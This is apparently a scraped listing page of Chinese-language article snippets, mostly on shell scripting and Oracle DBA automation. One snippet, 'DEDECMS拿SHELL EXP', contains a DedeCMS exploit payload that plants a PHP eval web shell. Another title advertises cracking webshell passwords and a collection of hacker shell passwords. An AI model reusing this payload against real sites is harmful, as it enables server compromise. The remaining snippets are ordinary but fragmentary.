shell 指令碼中實現字串大小寫不敏感的比較方法

 方法一:你可以將兩個字串統統轉成大寫(或小寫),   再比較 #!/bin/bash xxx= "Temp " yyy= "temp " x_tmp=$(echo   $xxx   |   tr   [a-z]   [A-Z]) y_tmp=$(echo   $yyy   |   tr   [a-z]   [A-Z]) if   [   "$x_tmp "   =   "$y_tmp "   ];then echo   "PASS " else echo   "FAIL " fi 優點:通用 

shell 指令碼中getopt 和 getopts 的區別

 getop string1 string2..nstring1中標出的字元表示合法的標誌(-後面可以跟的字元),如果標誌字元後面有:,說明這個標誌後面(可以有0-n個空格)的stringx是它的參數, getop 按string1 處理 string2....n,輸出結果-標誌1 參數1 -標誌2 參數2 ..... -- 參數n 40:/tmp/v>getopt "a:b" "-bafile"-b -a file

在shell中利用 bc 實現小數或者整數的比較操作

 echo listobjects=$listobjectsecho logfile=${logfile}dos2unix ${performanceLog} &> /dev/zero# get the performanceLog row number trac_rows=`sed -n '$=' ${performanceLog}`# echo trac_rows=$trac_rowsi=1while [[ $i -le $trac_rows ]];

Windows NETSH (Network Shell)

NETSH (Network Shell)Configure Network Interfaces, Windows Firewall, Routing & remote access.Syntax      NETSH [Context] [sub-Context] commandKeyThe contexts and commands available vary by platform, the list below is for Windows 2008.Use

shell中變數的引用(兩種方式:$變數名,${變數名})。

一.基礎我們定義一個變數(等號兩邊不能有空格)FILEPATH=/var/home/sssFILEFILENAME=test001在引用這個變數是我們可以直接使用$後面跟上變數的名字比如:       $FILEPATH還可以 :  ${FILEPATH}使用${}這種方式的好處是可以方便的實現兩個變數的串連,同時看著也比較清楚。${FILEPATH}/${FILEFILENAME}這樣便可以表示這個檔案的全路徑了-----------------------------------------

linux shell 指令 諸如-d, -f, -e之類的判斷運算式

來源:http://zhidao.baidu.com/question/322131711.html 檔案比較子-e filename  如果 filename存在,則為真  [ -e /var/log/syslog ]-d filename  如果 filename為目錄,則為真  [ -d /tmp/mydir ]-f filename  如果 filename為常規檔案,則為真  [ -f /usr/bin/grep ]-L filename  如果 filename為符號連結,則為真  

linux自動啟動shell和init概述

linux運行層級 linux啟動之後會在一個層級運行,下面列出了這些運行層級:0 系統停止1 單使用者系統,不需要登陸2 多使用者系統但不支援NFS,命令列模式登陸3 完整多使用者模式,命令列模式登陸4 未用5 X11圖形模式,圖形模式登陸6 重新啟動系統這些可以在/etc/initab檔案中可以看到0-6級的注釋,程式碼片段如下:# Default runlevel. The runlevels used by RHS are:#   0 - halt (Do NOT set

linux下shell中if的相關參數

linux下shell中if的相關參數[ -a FILE ]  如果 FILE 存在則為真。  [ -b FILE ]  如果 FILE 存在且是一個塊特殊檔案則為真。  [ -c FILE ]  如果 FILE 存在且是一個字特殊檔案則為真。  [ -d FILE ]  如果 FILE 存在且是一個目錄則為真。  [ -e FILE ]  如果 FILE 存在則為真。  [ -f FILE ]  如果 FILE 存在且是一個普通檔案則為真。  [ -g FILE ]  如果 FILE

如何用Shell逐行讀取檔案

在學習Linux shell scripts時,一個最常見的錯誤就是用for(for line in $(cat file.txt) do …)迴圈逐行讀取檔案。下面的例子可以看出這樣做的結果。檔案file.txt內容:cat file.txtThis is the row No 1;This is the row No 2;This is the row No 3. 用for迴圈的例子:for line in $(cat file.txt); do echo $line;

linux寫一個監控日誌,發郵件的shell

back_day=`date -d '1 day ago' +%Y-%m-%d`finance_linux_log_user=/home/admin/output/logs/userTARGET_SERVER="crmfinance1 crmfinance2

shell中$@和$*區別

$@指所有命令列參數,每個參數以""包圍$*指所有命令列參數 以下程式:test1.sh-------------------sum=0for varin "$@"dolet sum=sum+$vardoneecho "sum=$sum" ./test1.sh 1 2 3結果為sum=6 test2.sh--------------------sum=0for varin "$*"dolet sum=sum+$vardoneecho "sum=$sum"./test2.sh 1 2

shell中取字串子串的幾種方式

(1)awk中函數substrsubstr(源字串,開始索引,長度)   開始索引以0開始樣本:awk '{$a=substr($0,0,2);print $a;}' filename假設檔案中為只有一行為abcdefg,則返回結果為ab(2)expr substr expr substr 字串 開始索引 長度   開始索引以1開始樣本:expr substr "abc" 2 2顯示bc(3)echo ${str:開始索引} 或 echo ${str:開始索引:長度}  

DEDECMS拿SHELL EXP

轉自:t00ls網上流傳的漏洞exp都是說要知道後台才能利用,但不用,只要 plus 目錄存在,伺服器能外連,就能拿shell  _1 U- t( B- F8 c前題條件,必須準備好自己的dede資料庫,然後插入資料:insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "

AIX 定時清除日誌的SHELL

1、AIX 機器上定期清除記錄檔,以釋放記錄檔所佔用的大量磁碟空間。 shell似乎沒有處理日期計算的函數,在JAVA中處理日期很方便,而SHELL處理日期太費勁,等於自己要寫一個原始的日期加減函數。這裡考慮特定的應用,在已有網友代碼的基礎上進行了一下改進,可以計算從當前日期起N天前的日期。KSH實現。 AIX 5.3 執行通過 #!/bin/kshLOG_PATH=/home/utan/logsLOG_DEL_LOGFILE=./logdel.logKEEP_DAYS=9# Set the

burpsuite破解webshell密碼+國內黑闊shell密碼收集

burpsuite破解webshell密碼+國內黑闊shell密碼收集burpsuite_pro_v1.3.03

Linux/Unix shell 參數傳遞到SQL指令碼

      在資料庫營運的過程中,Shell 指令碼在很大程度上為營運提供了極大的便利性。而shell 指令碼參數作為變數傳遞給SQL以及SQL指令碼也是DBA經常碰到的情形之一。本文主要討論了如何將shell指令碼的參數傳遞到SQL指令碼之中並執行SQL查詢。  有關shell與SQL之間的變數傳遞,請參考:  Linux/Unix shell sql 之間傳遞變數 1、啟動sqlplus時執行指令碼並傳遞參數robin@SZDB:~/dba_scripts/custom/awr>

Linux/Unix shell 自動 FTP 備份檔案

       使用shell指令碼實現對Oracle資料庫的監控與管理將大大簡化DBA的工作負擔,如常見的對執行個體的監控,監聽的監控,警示日誌的監控,以及資料庫的備份,AWR report的自動郵件等。本文給出Linux 下使用 shell 指令碼來實現自動FTP備份檔案。       Linux Shell以及匯入匯出的相關參考:        Linux/Unix shell 指令碼中調用SQL,RMAN指令碼        Linux/Unix shell sql 之間傳遞變數     

Linux/Unix shell 自動發送AWR report(二)

       觀察Oracle資料庫效能,Oracle內建的awr 功能為我們提供了一個近乎完美的解決方案,通過awr特性我們可以隨時從資料庫提取awr報告。不過awrrpt.sql指令碼執行時需要我們提供一些互動資訊,因此可以將其整合到shell指令碼中來實現自動產生指定時段的awr報告並發送給相關人員。本文對Linux/Unix shell 自動發送AWR report的功能進行了完善和補充。   

Linux/Unix shell 調用 PL/SQL

    Linux/Unix 下除了調用SQL之外,調用PL/SQL也是DBA經常碰到的情形,下面主要通過一些樣本給出如何在shell下面來調用pl/sql。    其它相關的參考:        Linux/Unix shell 指令碼中調用SQL,RMAN指令碼         Linux/Unix shell sql 之間傳遞變數 1、將pl/sql代碼逐行輸入到臨時檔案robin@SZDB:~/dba_scripts/custom/bin> more

總頁數: 301 1 .... 120 121 122 123 124 .... 301 Go to: 前往

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.